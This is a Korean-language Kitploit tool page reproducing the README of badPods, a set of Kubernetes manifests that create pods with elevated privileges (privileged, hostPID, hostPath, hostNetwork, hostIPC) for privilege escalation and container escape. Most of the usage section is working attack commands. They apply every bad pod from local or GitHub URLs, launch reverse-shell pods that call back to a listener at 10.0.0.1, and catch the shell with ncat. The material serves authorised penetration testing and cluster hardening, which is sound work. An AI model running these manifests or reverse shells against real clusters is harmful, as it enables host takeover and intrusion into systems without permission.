Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
badPods — 상승된 권한으로 파드를 생성하는 매니페스트 모음입니다. | Kitploit
도구/GitHubGitHub/bishopfox/badpods
Privilege EscalationContainer SecurityExploitationPenetration TestingCloud SecurityMisconfigurationContainer Escape
GitHubbishopfox/badpods

badPods

상승된 권한으로 파드를 생성하는 매니페스트 모음입니다.

저장소 보기
7061187개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Bad Pods

서로 다른 높은 권한으로 파드를 생성하는 매니페스트 모음입니다. hostNetwork, hostPID, hostPath, hostIPC, privileged와 같은 보안에 민감한 파드 속성을 허용했을 때의 영향을 빠르게 시연할 수 있습니다.

추가 배경 정보는 블로그 게시물을 참조하세요: Bad Pods: Kubernetes Pod Privilege Escalation.

Contents

  • Bad Pods 라인업
  • 사전 요구 사항
  • 구성
  • 사용법
    • 개괄적 접근 방식
    • 사용 예시
      • 로컬 클론 저장소에서 8가지 Bad Pod 모두 생성
      • GitHub에서 8가지 Bad Pod 모두 생성
      • 8가지 리버스 셸 Bad Pod 모두 생성
      • everything-allowed 포드를 사용하여 8가지 리소스 유형 모두 생성
      • hostNetwork 포드로 cronjob 생성
      • priv-and-hostpid 포드로 디플로이먼트 생성
      • privileged 포드를 사용하여 리버스 셸 생성
  • 감사의 말
  • 참고 자료 및 추가 읽을거리

Bad Pods 라인업

아래의 각 링크는 자세한 사용 정보와 사후 공격 권장 사항을 제공합니다.

  • Bad Pod #1: 모든 권한 허용
  • Bad Pod #2: Privileged 및 hostPid
  • Bad Pod #3: Privileged만
  • Bad Pod #4: hostPath만
  • Bad Pod #5: hostPid만
  • Bad Pod #6: hostNetwork만
  • Bad Pod #7: hostIPC만
  • Bad Pod #8: 허용된 것 없음

사전 요구 사항, 저장소 구성, 일반적인 사용 패턴에 대한 자세한 내용은 아래 섹션을 참조하세요.

사전 요구 사항

  1. 클러스터에 액세스할 수 있어야 합니다.
  2. 하나 이상의 네임스페이스에서 다음 리소스 유형 중 하나를 생성할 수 있는 RBAC 권한이 있어야 합니다.
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. 파드에 exec할 수 있는 RBAC 권한이 있거나, 파드에서 사용자에게 리버스 셸 도달을 허용하는 네트워크 정책이 있어야 합니다.
  4. 파드 보안 정책 강제가 없거나, 하나 이상의 보안에 민감한 속성으로 파드를 생성할 수 있는 정책이 있어야 합니다.

구성

  • 독립적이고 바로 사용 가능한 매니페스트 128개. 왜 이렇게 많을까요?
    • 8가지 Bad Pod (hostpid, hostnetwork, everything-allowed 등)
    • 파드를 생성할 수 있는 8가지 리소스 유형 (pod, deployment, replicaset, statefulset 등)
    • 생성된 파드에 액세스하는 2가지 방법 (exec 및 리버스 셸)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

파드를 생성하는 여덟 가지 방법

Eviatar Gerzi (@g3rzi) 님의 게시물 Eight Ways to Create a Pod에서 지적했듯이, 파드 또는 파드 집합을 생성할 수 있는 컨트롤러는 8가지가 있습니다. 파드를 생성할 권한은 없을 수 있지만, 하나 이상의 파드를 생성하는 다른 리소스 유형을 생성할 수 있을 수도 있습니다. 각 badPod 유형에는 8가지 리소스 유형에 모두 해당하는 매니페스트가 있습니다.

하지만 잠깐, 상황은 더 나빠집니다! 파드를 생성할 수 있는 8가지 기존 Kubernetes 컨트롤러 외에도, 클러스터에 적용되는 서드파티 컨트롤러도 파드를 생성할 수 있습니다. kubectl api-resources를 확인하여 주의 깊게 살펴보세요.

리버스 셸

흔한 경우이지만, 생성한 파드에 exec할 수 있는 것이 항상 보장되지는 않습니다. 이러한 상황을 돕기 위해 Rory McCune(@raesene)의 ncat dockerhub 이미지를 사용하는 각 매니페스트 버전이 포함되어 있습니다. 생성된 파드는 리스너에게 암호화된 콜백을 보냅니다.

사용법

manifests 디렉터리의 각 리소스는 허용될 때 클러스터를 위험에 노출시키는 특정 속성 또는 속성 조합을 대상으로 합니다.

개괄적 접근 방식

옵션 1: 체계적 접근 방식

  1. RBAC 평가 - 생성할 수 있는 리소스 유형을 파악합니다.
  2. 어드미션 정책 평가 - 생성할 수 있는 Bad Pod를 파악합니다.
  3. 리소스 생성 - 허용된 항목에 따라 특정 badPod 유형과 리소스 유형을 사용하여 리소스를 생성합니다.
  4. 사후 공격 - 해당 유형의 README에 설명된 사후 공격 단계를 평가합니다.
    • 모든 권한 허용
    • Privileged 및 hostPid
    • Privileged만
    • hostPath만
    • hostPid만
    • hostNetwork만
    • hostIPC만
    • 허용된 것 없음

옵션 2: 샷건 접근 방식

  1. 리소스 생성 - 서로 다른 매니페스트를 적용해 보고 무엇이 동작하는지 확인합니다.
    • GitHub에서 8가지 Bad Pod 모두 생성
    • everything-allowed 포드를 사용하여 8가지 리소스 유형 모두 생성
  2. 사후 공격 - 생성된 모든 파드에 대해 해당 유형의 README에 설명된 사후 공격 단계를 평가합니다.
    • 모든 권한 허용
    • Privileged 및 hostPid
    • Privileged만
    • hostPath만
    • hostPid만
    • hostNetwork만
    • hostIPC만
    • 허용된 것 없음

사용 예시

  • 로컬 클론 저장소에서 8가지 Bad Pod 모두 생성
  • GitHub에서 8가지 Bad Pod 모두 생성
  • 8가지 리버스 셸 Bad Pod 모두 생성
  • everything-allowed 포드를 사용하여 8가지 리소스 유형 모두 생성
  • hostNetwork 포드로 cronjob 생성
  • priv-and-hostpid 포드로 디플로이먼트 생성
  • privileged 포드를 사용하여 리버스 셸 생성

로컬 클론 저장소에서 8가지 Bad Pod 모두 생성

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

GitHub에서 8가지 Bad Pod 모두 생성

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

8가지 리버스 셸 Bad Pod 모두 생성

각 파드에 호스트와 포트를 직접 수정하지 않으려면 환경 변수와 envsubst 명령을 사용할 수 있습니다. 먼저 모든 리스너를 실행해 두는 것을 잊지 마세요!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

hostNetwork 포드로 cronjob 생성

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

생성된 포드 찾기

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

포드에 exec 실행

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

priv-and-hostpid 포드로 디플로이먼트 생성

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

생성된 포드 찾기

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

포드에 exec 실행

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

everything-allowed 포드를 사용하여 8가지 리소스 유형 모두 생성

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

생성된 모든 포드 보기

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

모든 everything-allowed 리소스 삭제

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

privileged 포드를 사용하여 리버스 셸 생성

리스너 설정

root@kitploit:~
ncat --ssl -vlp 3116

env 변수와 envsubst를 사용하여 로컬 yaml을 수정하지 않고 포드 생성

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

셸 캐치

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

기여

풀 리퀘스트와 이슈를 환영합니다.

감사의 말

Kubernetes 공격 보안에 대한 많은 지식을 공개적으로 공유해 주신 Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi, Madhu Akula 님께 감사드립니다.

참고 자료 및 추가 읽을거리

각 Bad Pod에는 자체적인 참고 자료 및 추가 읽을거리 섹션이 있지만, 여기에 Kubernetes 보안 평가 및 침투 테스트 기술을 향상시키는 데 도움이 되는 몇 가지 일반적인 리소스가 있습니다.

2020년 신규 등장

  • Container Security Site - @raesene 작성
  • CloudSecDocs - Container Security - @lancinimarco 작성
  • Risk8s Business: Risk Analysis of Kubernetes Clusters - @antitree 작성
  • Compromising Kubernetes Cluster by Exploiting RBAC Permissions — @g3rzi 작성 - 발표 / 슬라이드
  • Command and KubeCTL: Real-World Kubernetes Security for Pentesters — @antitree 작성 - 발표 / 블로그
  • Kubernetes Goat — @madhuakula 작성 - 저장소 / 가이드

2019년의 고전들

  • Secure Kubernetes - KubeCon NA 2019 CTF - @tabbysable, @petermbenjamin, @jimmesta, @BradGeesaman 작성
  • The Most Pointless Kubernetes Command Ever - @raesene 작성
  • The Path Less Traveled: Abusing Kubernetes Defaults — @IanColdwater 및 @mauilion 작성 - 발표 / 저장소
  • Understanding Docker container escapes - @disconnect3d_pl 작성
  • A Compendium of Container Escapes - @drraid 및 @0x7674 작성
  • Attacking Kubernetes through Kubelet
도구 다운로드